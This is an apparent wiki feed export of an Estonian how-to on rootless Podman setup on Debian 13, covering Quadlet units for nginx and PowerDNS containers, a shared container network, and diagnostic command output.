  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi töötavad podhost peal pod'id nii, et iga pod sisse nö peegeldatakse host'i enda võrguliides, st pod arvab, et ta on host. Ja kui nüüd pod pöördub mõne teise pod poole, siis ta ei saa kuna tema võrguliiklus takerdub. Sellest olukorrast saab üle järgnevalt kirjeldatud asjakorraldusega.&lt;br /&gt;
&lt;br /&gt;
Ühe pod systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=8081:8081/tcp&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
# Environment=PDNS_local_port=8053&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
teise systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/nginx-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 01&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8091:80&lt;br /&gt;
ContainerName=nginx-01&lt;br /&gt;
Volume=%h/volume/nginx/etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
võrgu unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/dns-net.network&lt;br /&gt;
[Network]&lt;br /&gt;
NetworkName=dns-net&lt;br /&gt;
Options=dns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad podhost peale sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# netstat -lnpt | grep rootle&lt;br /&gt;
tcp6       0      0 :::8081                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
tcp6       0      0 :::8091                 :::*                    LISTEN      63627/rootlessport&lt;br /&gt;
tcp6       0      0 :::1053                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures nad on erinevad namespace'id&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# lsns -T | grep rootlessport&lt;br /&gt;
│ ├─4026532532 net         4 63597 kasutaja        rootlessport&lt;br /&gt;
│ ├─4026532647 net         5 63627 kasutaja        rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nende sees on sellised võrguliidesed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if4: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether ce:90:e6:c1:2e:42 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.5/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::cc90:e6ff:fec1:2e42/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if5: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether 7e:9d:11:fa:3b:24 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.6/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::7c9d:11ff:fefa:3b24/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja arp tabelid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n arp -an&lt;br /&gt;
? (10.89.0.6) at 7e:9d:11:fa:3b:24 [ether] on eth0&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n arp -an&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
? (10.89.0.5) at ce:90:e6:c1:2e:42 [ether] on eth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja nt pod'i sisse minnes võrk töötab teise pod'iga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ podman exec -ti nginx-01 ping -c 2 pdns-01&lt;br /&gt;
PING pdns-01 (10.89.0.5): 56 data bytes&lt;br /&gt;
64 bytes from 10.89.0.5: seq=0 ttl=42 time=0.020 ms&lt;br /&gt;
64 bytes from 10.89.0.5: seq=1 ttl=42 time=0.064 ms&lt;br /&gt;
&lt;br /&gt;
--- pdns-01 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 packets received, 0% packet loss&lt;br /&gt;
round-trip min/avg/max = 0.020/0.042/0.064 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures huvitav, et interneti ei saa pingida (see on passt võrgunduse eripära)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ podman exec -ti nginx-01 ping -c 2 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8): 56 data bytes&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 packets received, 100% packet loss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4232</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4232"/>
		<updated>2026-06-15T21:51:44Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* podhost podide vaheline võrk */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
